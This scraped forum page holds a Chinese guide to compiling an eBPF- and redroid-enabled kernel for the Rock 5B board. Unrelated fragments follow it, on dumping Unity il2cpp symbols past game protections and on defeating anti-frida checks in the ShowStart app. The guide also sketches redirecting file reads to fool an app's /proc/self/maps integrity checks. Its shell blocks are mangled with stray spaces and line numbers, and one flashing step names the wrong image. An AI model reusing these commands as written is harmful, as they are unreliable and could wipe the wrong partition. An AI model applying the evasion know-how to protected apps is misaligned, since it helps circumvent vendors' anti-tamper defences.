1 2 3 4 5 6 7 8 9 10 11 | docker run - itd - - privileged \\\\ - - pull always \\\\ - v \\"$(pwd)\\" / Android: / data \\\\ - v / dev: / dev \\\\ - v / run / dbus: / run / dbus \\\\ - v / var / run / dbus: / var / run / dbus \\\\ - - mount = type = bind,source = / dev / mali0,destination = / dev / mali0 \\\\ - p 5555 : 5555 \\\\ chisbread / rk3588 - gaming:redroid - firefly \\\\ androidboot.redroid_fps = 30 \\\\ androidboot.redroid_gpu_mode = host |
使用
\\nppa固件在ubuntu22.04的环境下才有,所以开始安装乌班图22.04 开始编译内核
\\n在https://wiki.radxa.com/Rock5/downloads下发现第三方乌班图是22.04版本,果断选择
\\n本以为能顺利的完成,结果踩坑不断
\\n乌班图22.04官方地址:https://github.com/Joshua-Riek/ubuntu-rockchip
\\n1 2 3 4 5 6 | docker run - itd - - privileged \\\\ - - pull always \\\\ - - mount = type = bind,source = / dev / mali0,destination = / dev / mali0 \\\\ - p 5555 : 5555 \\\\ chisbread / rk3588 - gaming:redroid - firefly \\\\ androidboot.redroid_gpu_mode = host |
在多次无法启动后,使用armbian的spi启动成功
\\n寻找过后找到了源码地址
\\nhttps://github.com/armbian/linux-rockchip
\\nRk-5.10-rkr4分支
\\n官方提供的编译脚本
\\nhttps://github.com/armbian/build
\\npython在乌班图高版本只有python2 或者python3 没有python
\\n所以得随编译工具动态的变化软链接
\\n虫佬提供的包,在新版本中名字也有发生变化
\\n修改后的
\\n1 | sudo apt-get update && sudo apt-get install -y git curl apt-utils wget device-tree-compiler libncurses5 libncurses5-dev build-essential libssl-dev mtools bc python3 dosfstools bison flex rsync u-boot-tools make dwarves libelf-dev ninja-build cmake libglib2.0-dev meson libpixman-1-dev libcapstone-dev libudev-dev libssh-dev libbrlapi-dev libpmem-dev libtasn1-6-dev libdaxctl-dev libbpf-dev libpulse-dev indent libiscsi-dev libnfs-dev libgcrypt20-dev libseccomp-dev libcurl4-openssl-dev libjack-dev libsndio-dev libopengl-dev libusb-dev acpica-tools libxkbcommon-dev libslirp-dev libsdl2-dev librados-dev libglusterfs-dev libepoxy-dev libgmp-dev libgvnc-1.0-dev libgnutls28-dev libfdt-dev |
进行课程里的修改内核步骤:
\\n1 | scripts /config -- enable CONFIG_BPF_LSMscripts /config -- enable CONFIG_KGDBscripts /config -- enable CONFIG_FUNCTION_PROFILERscripts /config -- enable CONFIG_FTRACE_SYSCALLSscripts /config -- enable CONFIG_BPF_KPROBE_OVERRIDEscripts /config -- enable CONFIG_TRACE_EVENT_INJECTscripts /config -- enable CONFIG_HIST_TRIGGERSscripts /config -- enable CONFIG_SCHED_TRACERscripts /config -- enable CONFIG_IRQSOFF_TRACERscripts /config -- enable CONFIG_FUNCTION_TRACERscripts /config -- enable CONFIG_STACK_TRACERscripts /config --disable CONFIG_MAGIC_SYSRQscripts /config -- enable CONFIG_IKHEADERSscripts /config -- enable CONFIG_DEBUG_INFO_BTFscripts /config -- enable CONFIG_ASHMEMscripts /config -- enable CONFIG_ANDROIDscripts /config -- enable CONFIG_ANDROID_BINDER_IPCscripts /config -- enable CONFIG_ANDROID_BINDERFSscripts /config -- set -str CONFIG_ANDROID_BINDER_DEVICES \\"\\" scripts /config -- enable CONFIG_PSI |
开始编译:
\\n编译安装后,失败了
\\n搜索源码树以后,发现官方并没有提供5.10.160相关的支持
\\n截屏2023-06-22 10.36.17
\\n这也为后面相同内核的armbian最新版编译后安装失败埋下了伏笔
\\n由于armbian是基于ubuntu的debian实现的,所以我打算拉取最新的armbian源码编译
\\n结果:和ubuntu22.04一样失败了
\\n总结: 版本的选择
\\n在此选择下,我们开启第三个版本的测试
\\n插曲 : 源码选择的简单见解(官方的源码只能官方镜像用,升级和降级一定要注意源码标注的系统版本)
\\nsudo apt list |grep linux-source后
\\nlinux-source-5.10.69-legacy-rockchip-rk3588/jammy,jammy 5.10.69-legacy-rockchip-rk3588+22.08.1 all
\\n第一 源码要与相匹配的设备 rockchip-rk3588
\\n第二 版本必须是22.08 如果不符合 就大概率不启动
\\n所以 我们可以在wiki下从源码挑镜像
\\n从这里可以拿到所有armbian的版本
\\nhttps://github.com/radxa-build/rock-5b/releases
\\nrock@rock-5b:~/rk3588$ sudo apt list |grep linux-source |grep rockchip-rk3588
\\n截屏2023-06-22 10.44.56
\\n如此过滤 可以确定下可以尝试的版本
\\n我采用的是全程卡刷模式,需要准备一张sd卡 淘宝上30块 128g
\\n在此注意的是,树莓派指示灯
\\n蓝色长亮= 砖了
\\n绿色长亮 =关机状态
\\n绿色长亮,蓝色闪烁 =用户态(系统正常运行)
\\n刷机参考链接:
\\nhttps://wiki.radxa.com/Rock5/install/spi
\\nhttps://wiki.radxa.com/Rock5/install/microSD
\\n首先:
\\nEtcher-rock-5b-1.png
\\n3 .插入sd卡后会直接进入Linux系统 使用ip scanner扫描出ip 账号密码rock
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | wget https: / / github.com / huazi - yg / rock5b / releases / download / rock5b / rkspi_loader.img #armbian的spi wget https: / / dl.radxa.com / rock5 / sw / images / others / zero.img.gz #清除分区镜像 gzip - d zero.img.gz # 解压镜像 ls / dev / mtdblock * #查看spi分区 应该显示 / dev / mtdblock0 将zero.img刷入分区 sudo dd if = spi - image.img of = / dev / mtdblock0 sync sudo md5sum / dev / mtdblock0 zero.img #检测是否成功刷入,如果成功了两个md5相同 sudo dd if = spi - image.img of = / dev / mtdblock0 # 刷入spi镜像 sudo md5sum / dev / mtdblock0 spi - image.img #检测是否成功刷入,如果成功了两个md5相同 |
刷入系统
\\n1 2 3 4 5 6 7 8 9 | # 下载镜像 wget https: / / github.com / radxa - build / rock - 5b / releases / download / 20221108 - 0637 / Armbian_22. 11.0 - trunk_Rock - 5b_bullseye_legacy_5 . 10.72_minimal .img.xz # 刷入镜像 sudo xzcat \'Armbian_22.11.0-trunk_Rock-5b_bullseye_legacy_5.10.72_minimal.img.xz\' | sudo dd of = \'/dev/nvme0n1\' bs = 1M status = progress sudo xzcat \'ubuntu-22.04-preinstalled-desktop-arm64-rock-5d.img.xz\' | sudo dd of = \'/dev/nvme0n1\' bs = 1M status = progress sudo xzcat \'Armbian_23.05.0-trunk_Rock-5b_jammy_legacy_5.10.110_redroid.img.xz\' | sudo dd of = \'/dev/nvme0n1\' bs = 1M status = progress |
进入系统 默认账号密码ubuntu
\\n安装依赖项 已经修改成新版本可运行的,多跑几遍确认安装成功
\\n1 | sudo apt-get update && sudo apt-get install -y git curl apt-utils wget device-tree-compiler libncurses5 libncurses5-dev build-essential libssl-dev mtools bc python3 dosfstools bison flex rsync u-boot-tools make dwarves libelf-dev ninja-build cmake libglib2.0-dev meson libpixman-1-dev libcapstone-dev libudev-dev libssh-dev libbrlapi-dev libpmem-dev libtasn1-6-dev libdaxctl-dev libbpf-dev libpulse-dev indent libiscsi-dev libnfs-dev libgcrypt20-dev libseccomp-dev libcurl4-openssl-dev libjack-dev libsndio-dev libopengl-dev libusb-dev acpica-tools libxkbcommon-dev libslirp-dev libsdl2-dev librados-dev libglusterfs-dev libepoxy-dev libgmp-dev libgvnc-1.0-dev libgnutls28-dev libfdt-dev |
下载系统使用内核版本的源码
\\n sudo apt install linux-source-5.10.110-legacy-rockchip-rk3588
将内核源码解压
\\n并拷贝原config
\\n1 2 3 4 5 6 | cd ~ mkdir kernel cd kernel tar - xf / usr / src / linux - source - 5.10 . 110 - rockchip - rk3588.tar.xz tar - xf / usr / src / linux - rockchip - rk3588 - legacy_5. 10.110_22 . 11.4_config .xz mv - v linux - rockchip - rk3588 - legacy_5. 10.110_22 . 11.4_config .config |
进行内核设置 不全参考 https://github.com/iovisor/bcc/blob/master/docs/kernel_config.md 添加选项
\\n如果要开启cutefish 要额外添加,暂时未做
\\n1 2 3 4 5 6 | scripts / config - - enable CONFIG_ASHMEM scripts / config - - enable CONFIG_ANDROID scripts / config - - enable CONFIG_ANDROID_BINDER_IPC scripts / config - - enable CONFIG_ANDROID_BINDERFS scripts / config - - set - str CONFIG_ANDROID_BINDER_DEVICES \\"\\" scripts / config - - enable CONFIG_PSI |
编译 安装 make -j8
\\n安装模块 sudo make modules_install
\\n安装内核 sudo make install
进入boot目录
\\n1 | cd / boot |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | armbianEnv.txt initrd.img - 5.10 . 110 - 99 - rockchip - g armbian_first_run.txt.template lost + found boot.bmp System. map - 5.10 . 110 - 99 - rockchip - g boot.cmd System. map - 5.10 . 110 - rockchip - rk3588 boot.scr uInitrd config - 5.10 . 110 - 99 - rockchip - g uInitrd - 5.10 . 110 - 99 - rockchip - g dtb uInitrd - 5.10 . 110 - rockchip - rk3588 dtb - 5.10 . 110 - 99 - rockchip - g vmlinuz dtb - 5.10 . 110 - rockchip - rk3588 vmlinuz - 5.10 . 110 - 99 - rockchip - g Image vmlinuz - 5.10 . 110 - rockchip - rk3588 initrd.img rock@rock - 5b : / boot$ md5sum vmlinuz - 5.10 . 110 - rockchip - rk3588 3a04f82b2e6f62680d4f39de49c93940 vmlinuz - 5.10 . 110 - rockchip - rk3588 rock@rock - 5b : / boot$ md5sum vmlinuz - 5.10 . 110 - 99 - rockchip - g 67349202d412eab68167d8282c29bed3 vmlinuz - 5.10 . 110 - 99 - rockchip - g rock@rock - 5b : / boot$ md5sum vmlinuz 3a04f82b2e6f62680d4f39de49c93940 vmlinuz rock@rock - 5b : / boot$ md5sum Image 67349202d412eab68167d8282c29bed3 Image |
由此我们可以看出 Image才是真正的内核引导,而在乌班图22.04中 vmlinuz是真正的内核引导
\\n检查一下自己的引导是不是引导到了自己想启动的内核上,用md5sum检测vmlinuz 是否等于vmlinuz-5.10.110-99-rockchip-g的md5
\\n\\n\\n补充:救砖方案
\\n如果内核启动不了,插上sd卡,进入Linux系统,将原文件系统进行挂载
\\nsudo mkdir /mnt/mydisk1
\\nsudo mkdir /mnt/mydisk
\\nsudo mount /dev/nvme0n1p1 /mnt/mydisk1
\\nsudo mount /dev/nvme0n1p2 /mnt/mydisk
\\ncd /mnt/mydisk1 # 进入boot分区
\\n\\n
1234sudo mv Image Image.old
sudo ln
-
s vmlinuz
-
5.10
.
110
Image
# 将软链接改成之前的镜像,即可启动
乌班图22.04的启动镜像在firmware(大概是这意思)的文件夹里
\\n使用官方的编译工具安装 参考链接:https://wiki.radxa.com/Rock5/guide/build-kernel-on-5b
\\n1 2 3 4 | $ mkdir ~ / rk3588 - sdk && cd ~ / rk3588 - sdk $ 内核源码从 / usr / src 解压出来 命名为kernel $ git clone - b master https: / / github.com / radxa / rkbin.git # 拉取设备树 $ git clone - b debian https: / / github.com / radxa / build.git # 拉取构建脚本 |
修改内核设置
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | make rockchip_linux_defconfig scripts / config - - enable CONFIG_BPF_LSM scripts / config - - enable CONFIG_KGDB scripts / config - - enable CONFIG_FUNCTION_PROFILER scripts / config - - enable CONFIG_FTRACE_SYSCALLS scripts / config - - enable CONFIG_BPF_KPROBE_OVERRIDE scripts / config - - enable CONFIG_TRACE_EVENT_INJECT scripts / config - - enable CONFIG_HIST_TRIGGERS scripts / config - - enable CONFIG_SCHED_TRACER scripts / config - - enable CONFIG_IRQSOFF_TRACER scripts / config - - enable CONFIG_FUNCTION_TRACER scripts / config - - enable CONFIG_STACK_TRACER scripts / config - - disable CONFIG_MAGIC_SYSRQ scripts / config - - enable CONFIG_IKHEADERS scripts / config - - enable CONFIG_DEBUG_INFO_BTF scripts / config - - enable CONFIG_ASHMEM scripts / config - - enable CONFIG_ANDROID scripts / config - - enable CONFIG_ANDROID_BINDER_IPC scripts / config - - enable CONFIG_ANDROID_BINDERFS scripts / config - - set - str CONFIG_ANDROID_BINDER_DEVICES \\"\\" scripts / config - - enable CONFIG_PSI make savedefconfig cp defconfig arch / arm64 / configs / rockchip_linux_defconfig make rockchip_linux_defconfig |
执行完后使用官方脚本构建
\\n1 2 3 | cd .. . / build / mk - kernel.sh rk3588 - rock - 5b . / build / pack - kernel.sh - d rockchip_linux_defconfig - r 99 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | tar xf bpftools - arm64.tar.gz 12 ls 13 cd bpftools 14 ls 15 . / python3 16 ls 17 . / python3 share / bcc / examples / hello_world.py 18 . / python3 share / bcc / tools / 19 . / python3 share / bcc / tools / opensnoop 20 cat / proc / sys / kernel / kptr_restrict 21 echo 0 > / proc / sys / kernel / kptr_restrict 22 cat / proc / sys / kernel / kptr_restrict 23 . / python3 share / bcc / tools / opensnoop 24 ls 25 . / python3 share / bcc / tools / opensnoop |
我实验了两遍,都成功安装运行,大家跟我一起做即可 这个部分我写的特别详细
\\n使用第成品包移植,编译内核开启ebpf
\\n使用成品包的原因是不确定是不是能够百分百移植显卡驱动,那么选一个有显卡驱动的开启ebpf,那么一定可以成功
\\n目标移植地址:
\\nhttps://forum.radxa.com/t/guide-best-option-for-armbian-afterburner-image-by-monkablyat/14552
\\n下载地址:
\\n\\n在sd卡中随便刷入一个系统(用读卡器) 用写盘工具简单写入即可
\\n在sd卡中下好spi和系统镜像
\\nEtcher-rock-5b-1.png
\\n3 .插入sd卡后会直接进入Linux系统 使用ip scanner扫描出ip 账号密码rock
\\n进入Linux系统后下载spi和镜像
\\n刷入spi 如果看不懂就去官方链接:https://wiki.radxa.com/Rock5/install/spi 或者选择线刷
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | wget https: / / github.com / huazi - yg / rock5b / releases / download / rock5b / rkspi_loader.img #armbian的spi wget https: / / dl.radxa.com / rock5 / sw / images / others / zero.img.gz #清除分区镜像 gzip - d zero.img.gz # 解压镜像 ls / dev / mtdblock * #查看spi分区 应该显示 / dev / mtdblock0 将zero.img刷入分区 sudo dd if = zero.img of = / dev / mtdblock0 sync sudo md5sum / dev / mtdblock0 zero.img #检测是否成功刷入,如果成功了两个md5相同 sudo dd if = spi - image.img of = / dev / mtdblock0 # 刷入spi镜像 sudo md5sum / dev / mtdblock0 spi - image.img #检测是否成功刷入,如果成功了两个md5相同 |
刷入系统
\\n1 2 3 4 5 6 7 | # 下载镜像 wget https: / / monka.systemonachip.net / rock5b / Armbian_23. 05.0 - trunk_Rock - 5b_jammy_legacy_5 . 10.110_redroid .img.xz # 刷入镜像 sudo xzcat \'Armbian_23.05.0-trunk_Rock-5b_jammy_legacy_5.10.110_redroid.img.xz\' | sudo dd of = \'/dev/nvme0n1\' bs = 1M status = progress sudo xzcat \'Armbian-unofficial_24.8.0-trunk_Rock-5b_jammy_legacy_5.10.160.img\' | sudo dd of = \'/dev/nvme0n1\' bs = 1M status = progress |
刷入后不要重启系统
\\n由于是第三方打包的,需要手动扩容根分区 (我手动实现了两遍,严格按照指令走即可)
\\nsudo fdisk -l
输出
\\n1 2 3 4 5 6 7 8 9 10 11 12 | User Disk / dev / nvme0n1: 476.94 GiB, 512110190592 bytes, 1000215216 sectors Disk model: CHUXIA 512GB Units: sectors of 1 * 512 = 512 bytes Sector size (logical / physical): 512 bytes / 512 bytes I / O size (minimum / optimal): 512 bytes / 512 bytes Disklabel type : gpt Disk identifier: 286CDA69 - C967 - 7D49 - A6D3 - 5566C9C2E6A1 Device Start End Sectors Size Type / dev / nvme0n1p1 32768 557055 524288 256M Linux extended boot / dev / nvme0n1p2 557056 30801920 30244865 14.4G Linux filesystem |
查看磁盘名称
\\n我的是 /dev/nvme0n1
\\n1 | sudo fdisk / dev / nvme0n1 |
进入交互模式
\\n1 | d |
先按一个d 按回车后 他会提示你输入数字
\\n输入2 回车
\\n1 | n |
按n后
\\n输入2
\\n之后直接全部回车即可
\\n按w后 自动保存退出
\\n修复分区
\\n1 | sudo e2fsck - f / dev / nvme0n1p2 |
重新读取大小
\\n1 | sudo resize2fs / dev / nvme0n1p2 |
接下来拔掉sd卡 进入系统即可
\\n账号 rock 密码armbian +
\\n下载源码
\\n1 | sudo apt install linux - source - 5.10 . 110 - legacy - rockchip - rk3588 |
原来的方式无法获取到源码了https://forum.armbian.com/topic/29087-migration-to-rk35xx-linuxfamily/
\\nsudo sed -i \'s/LINUXFAMILY=rockchip-rk3588/LINUXFAMILY=rk35xx/g\' /etc/armbian-release\\nsudo apt update\\nsudo apt install linux-image-legacy-rk35xx linux-dtb-legacy-rk35xx linux-headers-legacy-rk35xx\\nsudo apt remove linux-image-legacy-rockchip-rk3588 linux-dtb-legacy-rockchip-rk3588 linux-headers-legacy-rockchip-rk3588\\n\\n
即可获取到最新的160源码
\\n解压源码
\\n1 2 3 4 | / usr / src ├── linux - headers - 5.10 . 110 - rockchip - rk3588 ├── linux - rockchip - rk3588 - legacy_5. 10.110_22 . 11.4_config .xz └── linux - source - 5.10 . 110 - rockchip - rk3588.tar.xz |
1 2 3 4 5 6 | cd ~ mkdir kernel cd kernel tar - xf / usr / src / linux - source - 5.10 . 110 - rockchip - rk3588.tar.xz tar - xf / usr / src / linux - rockchip - rk3588 - legacy_5. 10.110_22 . 11.4_config .xz mv - v linux - rockchip - rk3588 - legacy_5. 10.110_22 . 11.4_config .config |
如果没有config文件,那么去boot目录下复制即可
\\n1 | cp / boot / config - 5.10 . 110 - rockchip - rk3588 ~ |
复制完记得移动到kernel目录下,并命名.config
\\n安装编译依赖
\\n1 | sudo apt - get update && sudo apt - get install - y git curl apt - utils wget device - tree - compiler libncurses5 libncurses5 - dev build - essential libssl - dev mtools bc python3 python2 dosfstools bison flex rsync u - boot - tools make dwarves libelf - dev ninja - build cmake libglib2. 0 - dev meson libpixman - 1 - dev libcapstone - dev libudev - dev libssh - dev libbrlapi - dev libpmem - dev libtasn1 - 6 - dev libdaxctl - dev libbpf - dev libpulse - dev indent libiscsi - dev libnfs - dev libgcrypt20 - dev libseccomp - dev libcurl4 - openssl - dev libjack - dev libsndio - dev libopengl - dev libusb - dev acpica - tools libxkbcommon - dev libslirp - dev libsdl2 - dev librados - dev libglusterfs - dev libepoxy - dev libgmp - dev libgvnc - 1.0 - dev libgnutls28 - dev libfdt - dev |
调整配置 (在内核目录下输入这些命令 分段输入 别一下粘贴)
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | 第一段: 开启ebpf scripts / config - - enable CONFIG_BPF_LSM scripts / config - - enable CONFIG_KGDB scripts / config - - enable CONFIG_FUNCTION_PROFILER scripts / config - - enable CONFIG_FTRACE_SYSCALLS scripts / config - - enable CONFIG_BPF_KPROBE_OVERRIDE scripts / config - - enable CONFIG_TRACE_EVENT_INJECT scripts / config - - enable CONFIG_HIST_TRIGGERS scripts / config - - enable CONFIG_SCHED_TRACER scripts / config - - enable CONFIG_IRQSOFF_TRACER scripts / config - - enable CONFIG_FUNCTION_TRACER scripts / config - - enable CONFIG_STACK_TRACER scripts / config - - disable CONFIG_MAGIC_SYSRQ scripts / config - - enable CONFIG_IKHEADERS scripts / config - - enable CONFIG_DEBUG_INFO_BTF 第二段 开启redroid scripts / config - - enable CONFIG_ASHMEM scripts / config - - enable CONFIG_ANDROID scripts / config - - enable CONFIG_ANDROID_BINDER_IPC scripts / config - - enable CONFIG_ANDROID_BINDERFS scripts / config - - set - str CONFIG_ANDROID_BINDER_DEVICES \\"\\" scripts / config - - enable CONFIG_PSI 第三段 开启cutefish scripts / config - - set - val CONFIG_VHOST_SCSI m scripts / config - - set - val CONFIG_VHOST_VSOCK m scripts / config - - set - val CONFIG_VHOST_VDPA m scripts / config - - set - val CONFIG_VDPA m scripts / config - - set - val CONFIG_CAIF_DRIVERS y scripts / config - - set - val CONFIG_CAIF_TTY m scripts / config - - set - val CONFIG_CAIF_HSI m scripts / config - - set - val CONFIG_CAIF_VIRTIO m scripts / config - - set - val CONFIG_TARGET_CORE m scripts / config - - set - val CONFIG_CAIF m scripts / config - - set - val CONFIG_CAIF_USB m scripts / config - - set - val CONFIG_VSOCKETS m scripts / config - - enable CONFIG_BPF_LSM scripts / config - - enable CONFIG_KGDB scripts / config - - enable CONFIG_FUNCTION_PROFILER scripts / config - - enable CONFIG_FTRACE_SYSCALLS scripts / config - - enable CONFIG_BPF_KPROBE_OVERRIDE scripts / config - - enable CONFIG_TRACE_EVENT_INJECT scripts / config - - enable CONFIG_HIST_TRIGGERS scripts / config - - enable CONFIG_SCHED_TRACER scripts / config - - enable CONFIG_IRQSOFF_TRACER scripts / config - - enable CONFIG_FUNCTION_TRACER scripts / config - - enable CONFIG_STACK_TRACER scripts / config - - disable CONFIG_MAGIC_SYSRQ scripts / config - - enable CONFIG_IKHEADERS scripts / config - - enable CONFIG_DEBUG_INFO_BTF scripts / config - - enable CONFIG_ASHMEM scripts / config - - enable CONFIG_ANDROID scripts / config - - enable CONFIG_ANDROID_BINDER_IPC scripts / config - - enable CONFIG_ANDROID_BINDERFS scripts / config - - set - str CONFIG_ANDROID_BINDER_DEVICES \\"\\" scripts / config - - enable CONFIG_PSI scripts / config - - set - val CONFIG_VHOST_SCSI m scripts / config - - set - val CONFIG_VHOST_VSOCK m scripts / config - - set - val CONFIG_VHOST_VDPA m scripts / config - - set - val CONFIG_VDPA m scripts / config - - set - val CONFIG_CAIF_DRIVERS y scripts / config - - set - val CONFIG_CAIF_TTY m scripts / config - - set - val CONFIG_CAIF_HSI m scripts / config - - set - val CONFIG_CAIF_VIRTIO m scripts / config - - set - val CONFIG_TARGET_CORE m scripts / config - - set - val CONFIG_CAIF m scripts / config - - set - val CONFIG_CAIF_USB m scripts / config - - set - val CONFIG_VSOCKETS m |
开始编译
\\n1 | make - j8 |
编译后可能会出现一些提示 尽量多的选m 以模块运行 可以翻译下 觉得好的功能开开 不影响
\\n1 | Virtual vsock monitoring device (VSOCKMON) [N / m / ?] (NEW) |
安装模块
\\n1 | sudo make modules_install |
安装内核
\\n1 | sudo make install |
进入boot后查看Image软链接位置是否为新编译的内核(不知道可以看时间 ll命令)
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | - rw - rw - r - - 1 rock rock 209 Jun 22 11 : 20 armbianEnv.txt - rw - rw - r - - 1 root root 1536 Mar 28 09 : 08 armbian_first_run.txt.template - rw - rw - r - - 1 root root 38518 Mar 28 09 : 08 boot.bmp - rw - rw - r - - 1 rock rock 3404 Mar 28 07 : 48 boot.cmd - rw - rw - r - - 1 root root 3476 Mar 28 09 : 08 boot.scr - rw - r - - r - - 1 root root 217231 Jun 22 11 : 16 config - 5.10 . 110 + - rw - r - - r - - 1 root root 216195 Mar 28 08 : 58 config - 5.10 . 110 - rockchip - rk3588 lrwxrwxrwx 1 root root 28 Mar 28 09 : 07 dtb - > dtb - 5.10 . 110 - rockchip - rk3588 drwxr - xr - x 3 root root 4096 Mar 28 09 : 07 dtb - 5.10 . 110 - rockchip - rk3588 lrwxrwxrwx 1 root root 17 Jun 22 11 : 19 Image - > vmlinuz - 5.10 . 110 + / / 这里指向了新内核 lrwxrwxrwx 1 root root 20 Jun 22 11 : 17 initrd.img - > initrd.img - 5.10 . 110 + - rw - r - - r - - 1 root root 15467772 Jun 22 11 : 17 initrd.img - 5.10 . 110 + - rw - r - - r - - 1 root root 15281181 Jun 22 09 : 40 initrd.img - 5.10 . 110 - rockchip - rk3588 lrwxrwxrwx 1 root root 35 Jun 22 11 : 17 initrd.img.old - > initrd.img - 5.10 . 110 - rockchip - rk3588 drwx - - - - - - 2 root root 16384 Mar 28 09 : 08 lost + found - rw - r - - r - - 1 root root 8086342 Jun 22 11 : 16 System. map - 5.10 . 110 + - rw - r - - r - - 1 root root 7895037 Mar 28 08 : 58 System. map - 5.10 . 110 - rockchip - rk3588 lrwxrwxrwx 1 root root 17 Jun 22 11 : 17 uInitrd - > uInitrd - 5.10 . 110 + - rw - r - - r - - 1 root root 15467836 Jun 22 11 : 17 uInitrd - 5.10 . 110 + - rw - r - - r - - 1 root root 15281245 Jun 22 09 : 40 uInitrd - 5.10 . 110 - rockchip - rk3588 lrwxrwxrwx 1 root root 17 Jun 22 11 : 17 vmlinuz - > vmlinuz - 5.10 . 110 + - rw - r - - r - - 1 root root 38984192 Jun 22 11 : 16 vmlinuz - 5.10 . 110 + # 这是新内核 - rw - r - - r - - 1 root root 34632192 Mar 28 08 : 58 vmlinuz - 5.10 . 110 - rockchip - rk3588 lrwxrwxrwx 1 root root 32 Jun 22 11 : 17 vmlinuz.old - > vmlinuz - 5.10 . 110 - rockchip - rk3588 |
若没有指向新内核 只需要执行
\\n1 2 | sudo rm Image ln - s 新内核名称 Image |
然后重启即可发现内核替换成功
\\n1 | Linux rock - 5b 5.10 . 110 + #2 SMP Thu Jun 22 11:02:48 CEST 2023 aarch64 aarch64 aarch64 GNU/Linux |
cuttefish参考课程,内核已经在编译时候修改过了
\\n这个镜像内置 https://github.com/ChisBread/malior#malior-redroid
可以尝试使用
\\n进docker系统以后 记得
\\nsudo mount -t debugfs debugfs /sys/kernel/debug
并修改 /proc/sys/kernel/kptr_restrict的的值为0
\\n参考自ebpf课程内容
\\n若docker无法启动 则检测模块是否已经安装
\\n交叉编译rock5b内核
\\n1 | git clone -b stable-5.10-rock5 https: //github .com /radxa/kernel .git --depth=1 |
编译打包headers
\\nmake ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- headers_check\\nmake ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- headers_install INSTALL_HDR_PATH=output_headers\\n\\n
成功启动所有系统调用监控
\\n首先创建两个file1 内容 file number1
\\nfile2 file number2
\\n开启文件重定向
\\n之后查看文件1
\\n发现是文件2的内容
\\n发现这个进程在不断访问自己的maps,不知道干啥呢
\\n访问次数稳定增加,可以判断是线程循环检测,接下来就要做一些东西了
\\n再看看他还访问其他什么了嘛
\\n/fd
\\n/maps
\\n/task
\\n都进行了大量循环访问,那么只需要过滤进程名,做io重定向就好了
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\nunity游戏的攻防自其诞生之初就已经开始了,现如今已经到了白热化的阶段,il2cpp_class_dumper就是为此而生,但在介绍它之前,让我们先以攻击者的视角来回顾这场攻防对抗。
\\n在很久以前的时候,游戏厂商还没开始重视游戏安全,这时候存储unity app程序集关键符号信息的global-metadata.dat甚至没有任何经过加密就直接放入包体中,这时攻击者只需将包体中的global-metadata.dat和libil2cpp.so提取出来,再使用Il2CppDumper这个项目即可得到unity app程序集的关键符号信息。
\\n但随着游戏厂商开始注重对global-metadata.dat的静态加密,这种方法越来越不适用。
\\n既然直接从包体中提取global-metadata.dat不行,但若是直接在游戏运行时从内存中搜索global-metadata.dat再将其dump下来不就行了吗,以上方法在global-metadata.dat整体加密整体解密的情况下其实是适用的,在这种情况下dump下内存中已经解密的global-metadata.dat再使用Il2CppDumper即可顺利完成符号dump。
\\n但是如果内存中始终没有完整的global-metadata.dat呢,它可能是分块解密再分块加载呢,这种情况实际上是非常常见的,这样的话,单纯的内存dump已经不能够解决问题了,在这种情况下可以直接分析libil2cpp.so中加载global-metadata.dat的逻辑来对原包体中的加密过的global-metadata.dat进行解密还原,但这种方法过于复杂而且因为不同游戏的加密方法不一致很难做到通用,所以攻击者往往都会选择第二种方法动态dump。
\\n正如前面所说,静态dump已经变得十分复杂且不通用了,动态dump便应运而生,即便到了现在这种无视静态加密的动态dump方法也还能dump绝大多数Unity游戏,就这么一种通用且使用方便的dump方法,它的原理其实十分简单,概括起来就是利用libil2cpp.so中的il2cpp框架的关键系统api的导出函数的主动调用来获取unity app的程序集的符号信息。默认情况下很多il2cpp的系统api是直接暴露在libil2cpp.so的导出表当中的,这也是使用Zygisk-Il2CppDumper的前提条件。
\\n但是如果游戏刻意隐藏了il2cpp框架的关键系统api的导出呢,只需隐藏一两个dump工具需要用到的il2cpp api就能阻碍动态dump工具的运行,实际上现在很多游戏都是这样做的。
\\n这种情况下可以选择给dump工具打补丁,如果只隐藏了一两个il2cpp api那攻击者可以自己找到相应的il2cpp api的地址再修改dump工具的相应位置的源码不就顺利解决这个问题了吗。但如果隐藏的不是一个两个而是所有的il2cpp框架的关键系统api的导出呢,这种情况下再自己手动的一个一个找,不说耗费的时间要多少,能不能做到都是个问题。
\\n对于没有魔改unity引擎的游戏来说,自动化地寻找il2cpp api是可行的,可以使用frida-find-il2cpp-api这个项目中的find_il2cpp_api.js来自动导出il2cpp api来供动态dump工具使用。
但是这种方法仅限于在没有魔改unity引擎的情况下使用。
正如前面所说,在魔改unity引擎这种情况下,想要得到全部的il2cpp框架的关键系统api已是困难重重了,但我们不妨想想我们真的需要这么多il2cpp api吗,如果我们将需要的il2cpp api削减至个位数,在这种情况下就算一个一个api手动查找需要的时间也不会很多,虽然这样得到的符号信息也会比传统的动态dump少很多,但必要的取舍还是需要做出。
\\n与其说il2cpp_class_dumper是动态dump,它更像是一种动静结合的dump方法。
该方法的核心思想是在il2cpp框架的SetupMethodsLocked放置hook,这样可以拦截到加载的所有klass并将其保存,待游戏加载完成所需要的klass后再通过主动调用极少部分的il2cpp api来动态dump klass的符号信息并保存至本地。
正是因为需要的il2cpp api非常少,目前该方法只能dump游戏程序集中的方法信息。
通过上述回顾,可以明显看出现在关于unity游戏程序集符号信息的获取是愈发艰难了,il2cpp_class_dumper算是我个人想到的一个权宜之计。路漫漫其修远兮,吾将上下而求索。
\\n记录一次秀动App逆向过程
\\n目标应用:秀动
\\n目标版本:5.2.7
\\nfrida启动后发现有检测,尝试使用魔改frida过掉检测
\\n发现可以成功挂起
